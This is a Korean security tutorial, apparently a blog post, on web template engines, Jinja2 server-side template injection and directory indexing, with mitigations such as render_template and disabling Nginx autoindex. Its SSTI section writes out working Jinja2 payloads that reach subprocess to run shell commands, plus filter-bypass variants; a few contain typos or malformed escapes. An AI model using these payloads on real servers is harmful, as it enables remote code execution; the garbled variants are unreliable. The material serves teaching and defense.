Web Template Engine
웹 템플릿 엔진은 동적인 웹 페이지를 생성하기 위해 사용되는 도구나 프레임워크입니다
보통 HTML, CSS, JavaScript 등 프론트엔드와 백엔드 코드 데이터를 결합하여 사용자에게 동적인 웹 페이지를 제공합니다
이 웹 템플릿 엔진은 서버 사이드 템플릿 엔진과 클라이언트 사이드 템플릿 엔진으로 나눠집니다
프레임워크 : 소프트웨어 개발을 위해 사용되는 구조화된 환경 또는 플랫폼을 뜻함
서버 사이드 템플릿 엔진 (Server Side Template Engine)
클라이언트가 데이터를 전달하면 웹 서버는 DB 또는 API에서 데이터를 미리 정의된 템플릿에 넣어 html을 구성합니다 그리고 구성된 html을 다시 클라이언트 쪽으로 전달해 줍니다
즉 HTML 코드에서 고정적으로 사용하는 부분을 템플릿으로 만들고, 동적인 부문만 템플릿 안에 소스 코드를 끼워 넣는 방식입니다 대표적인 서버 사이드 템플릿 엔진은 Thymeleaf, JSP, Freemarker가 있습니다 ( 화면 이동이 많은 곳에서 사용 )
클라이언트 사이드 템플릿 엔진 (Client Side Template Engine)
HTML 형태로 코드를 작성할 수 있고, 동적으로 DOM을 그리는 역할을 합니다
또한, 데이터를 전달받아 DOM 객체에 동적으로 그려주는 프로세스를 담당하고 있습니다
예를 들어 페이지 내 카테고리 항목 중 하나를 선택하면 같은 형식의 프레임 내용만 바뀌는데 클라이언트 사이드 템플릿 엔진은 매번 템플릿을 바꾸기보다는 script 타입으로 템플릿을 미리 만들어 사용합니다 ( 단일 화면에서 화면이 전환되는 경우 많이 사용됨 ) 대표적인 클라이언트 사이드 템플릿 엔진은 Mustache, Squirrelly, Handlebars가 있습니다
웹 템플릿 엔진의 장점
- 재 사용성이 높다 - 웹 페이지에서 같은 디자인의 페이지를 보여주면서 데이터만 바뀌는 경우가 많은데 같은 디자인을 사용하는 페이지 중 한 페이지만 템플릿 엔진 문법으로 구현해 놓으면 데이터만 바꾸면서 렌더링 하여 여러 개의 페이지를 나타낼 수 있다
- 유지 보수가 쉽다 - 동일한 템플릿을 사용한다면 인수인계를 통해 템플릿 데이터만 수정해 주면 된다
- 코드를 최적화할 수 있다 - 대부분 템플릿 엔진은 HTML 보다 간단한 문법을 사용하므로 코드가 길어질수록 템플릿 엔진을 사용하면 좋다
Jinja2 웹 템플릿 엔진
Jinja2 템플릿은 Python에서 가장 많이 사용되는 템플릿 엔진 중 하나입니다 앞서 템플릿 엔진과 동일하게 정적인 html 코드를 수정하여 웹 페이지를 동적으로 구성할 수 있습니다
(HTML 문서에 반복문, 조건문 문법을 사용하여 연산 작업을 수행할 수 있다)
조건문을 예를 들어 설명하자면 index.html 메인 페이지에서 로그인 페이지로 이동할 때 메인 페이지에 컴포넌트 이름을 login을 담아 할당합니다
이후 로그인 페이지로 이동하여 index.html에서 넘어온 컴포넌트 이름이 login 인지 확인하고 login.html 페이지를 불러와 렌더링 합니다 이 과정을 통해 head 태그와 body 태그의 중복을 피할 수 있습니다
템플릿 구문에서 사용하는 if 구문은 Python에서 사용하는 제어문과 동일합니다 다른 점은 vb 코드와 같이 제어문 끝을 명시하는 end if 문을 제어문 마지막 줄에 작성해야 합니다
SSTI 취약점이란?
SSTI(Server Side Template Injection) 취약점은 공격자가 기본 템플릿 문법 코드를 이용하여 악성 페이로드를 주입합니다이후 서버 측에서 이 악성 페이로드가 실행되면서 생기는 취약점입니다
[사진]과 같이 공격자가 kw 코드에 {{2*2}}라는 템플릿 구문을 입력하면 4라는 연산 결과를 반환되면서 템플릿 구문이 실행됩니다 SSTI 취약점이 발생하는 경우 단순히 클라이언트 사이드 공격뿐만 아니라 RCE(Remote Code Execute)라는 서버 사이드의 공격도 가능합니다
RCE는 원격 코드를 실행하는 것으로 어떤 시스템을 접근하여 명령어를 실행할 때 발생하는 취약점이며 STTI와 연계가 가능합니다 일반적으로 os.system과 같은 함수는 쉘 명령어의 결과를 출력할 수 없으므로 subprocess.Popen Class를 찾은 다음 함수를 실행시켜 쉘 명령어 결과를 출력할 수 있습니다
하지만 표와 같이 웹 템플릿 엔진마다 사용되는 페이로드가 다릅니다
SSTI 취약점 구문 우회 방법
우회 방법은 ''.__class__ 혹은 os 모듈의 import 가 포함될 때 사용할 수 있습니다
Python Jinja2 페이로드를 살펴보면 ''.__class__.__mro__[1].__subclasses__()[345]('ls',shell=True,stdout=-1).communicate() 이렇게 ''.__class__.__mro__[1].__subclasses__를 이용하여 ls를 실행하는 페이로드를 사용할 수 있습니다
이 클래스에서 dot(.)이 필터링 되어 있을 때 아래와 같은 방식으로 우회할 수 있습니다
우회전 | 우회후 |
''.__class__ | ''|attr('__class__') |
이처럼 musa.bar라는 변수가 존재할 때 dot(.)을 사용하지 않고 musa|attr('bar')와 동일한 의미를 나타냅니다
두 번째로 _언더바가 필터링 되어있을 때 아래와 같은 방식을 사용할 수 있습니다
request.args.get('under')과 \x5f, \137, \u005F와 같이 아스키코드와 유니코드, request를 이용하여 우회할 수 있습니다
사용 방법 |
# request.args.get() http://127.0.0.1:8080?ssti={{ ''[request.args.get('class')][request.args.get('mro')][request.args.get('subclasses')] }}&class=__class__&mro=__mro__&subclasses=__subclasses__ # ascii hex {{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1]['\x5f\x5fsubclasses\x5f\x5f']() }} # ascii oct {{ ''['\137\137class\137\137']['\137\137mro\137\137'][1]['\137\137subclasses\137\137']() }} # 16bit unicode {{ ''['\u005F\u005Fclass\u005F\u005F']['\u005F\u005Fmro\u005F\u005F']['\u005F\u005Fsubclasses\u005F\u005F']() }} # 32bit unicode {{ ''['\U0000500F\U0000500Fclass\U0000500F\U0000500F']['\U0000500F\U0000500Fmro\U0000500F\U0000500F'][1]['\U0000500F\U0000500Fsubclasses\U0000500F\U0000500F']() }} |
마지막으로 [] 대괄호가 필터링 되는 경우 아래와 같은 방식으로 우회할 수 있습니다
[] 우회 방법 |
{{ ''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(245)('ls', shell=True, stdout=-1).communicate() }} {{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclassess__')()|attr('__getitem__')(245)('ls', shell=True, stdout=-1)|attr('communicate')() }} |
SSTI 대응방안
SSTI 취약점을 대응하기 위해서는 Sanitization과 Input Validation을 다중으로 적용하는 것이 가장 좋은 대응 방안입니다
Sanitization
Sanitization은 프로그래밍에서 코드 안전성 검사를 뜻합니다 간단히 설명하자면 사용자가 안전하지 않은 값을 전달하면 그 값을 검사해서 DOM 또는 HTML에 적용할 수 있는 안전한 값으로 변환하는 것을 말합니다 SSTI 취약점을 대응하기 위해 사용자로부터 전달받은 파라미터 값이 Template 구문으로 해석되어 들어가지 않도록 처리해야 합니다
예를 들어 Jinja Template을 사용할 때 render_template_string()이 아닌 render_template()을 사용하여 사용자가 입력한 Template 구문이 명령어가 아닌 문자열로 해석됩니다
앞서 공격자가 {{2*2}}라는 Template 구문을 전달하면 4가 출력되는 것이 아닌 '{{2*2}}'의 문자열로 출력됩니다
Input Validation
Input Validation은 사용자가 입력한 값의 유효성 검증으로 특수문자를 이스케이프 처리하는 것을 말합니다 SSTI 공격 구문에 사용되는 핵심 특수문자인 '{}','[]' 등이 있으며, 일부 XSS와 SQL Injection에 대응하는 방식과 동일하게 공격 구문에 포함되는 특수문자를 필터링 처리해야 합니다
디렉터리 인덱싱
디렉터리 인덱싱이란 파일 시스템에 사용되는 개념으로, 디렉터리에 포함된 파일이나 서브 디렉터리의 정보를 좀 더 효율적으로 검색하기 위해 사용됩니다 여기서 인덱싱은 파일이나 디렉터리를 검색할 때 시스템 성능을 향상시키는 데 중요한 역할을 합니다 즉 모든 파일이나 디렉터리에서 특정 파일을 찾을 때 순차적으로 검색하여 찾는 것이 아닌 배열의 인덱스처럼 사용하여 원하는 파일을 빠르게 찾을 수 있습니다
디렉터리 인덱싱 취약점
디렉터리 인덱싱 취약점은 서버 내 모든 디렉터리나 파일에 대해 인덱싱이 가능하여 모든 파일에 대한 정보를 볼 수 있을 때 발생하는 취약점입니다
예를 들어 http://musa.com/icons URL에 접속하면 위 사진처럼 icons 파일의 목록이 보이게 됩니다
이처럼 보이지 않은 디렉터리가 보이는 것을 디렉터리 인덱싱 취약점이라고 합니다
결과적으로 해당 목록들은 어떤 조건 없이 다운로드도 가능하며 이 취약점으로 인해 서버의 주요 파일들이 노출될 위험성이 있습니다
디렉터리 인덱싱 대응방안
이 디렉터리 인덱싱을 대응하기 위해서는 간단히 웹 서버에 설정 방법을 통해 방지할 수 있습니다
아파치(Apache) 웹 서버 설정 방법
Apache 설정 파일인 Httpd.conf 파일에 DocumentRoot 항목의 Options 부분에서 indexes 지시자를 제거해 줍니다
( indexes : 해당 디렉터리의 파일 목록을 보여주는 지시자 입니다 )
Nginx 웹 서버 설정 방법
Nginx/sites-available/default에서 autoindex off;를 추가합니다 영어 그대로 자동적으로 인덱싱을 off 해줍니다
Server { Listen 80 default_server; Listen [::]:80 default_server; Root /var/www/html; Index index.html index.htm index.nginx-debian.html; server_name; location / { try_files $uri $uri/ = 404; autoindex off; < 수정 } } |
[ 참고 자료 ]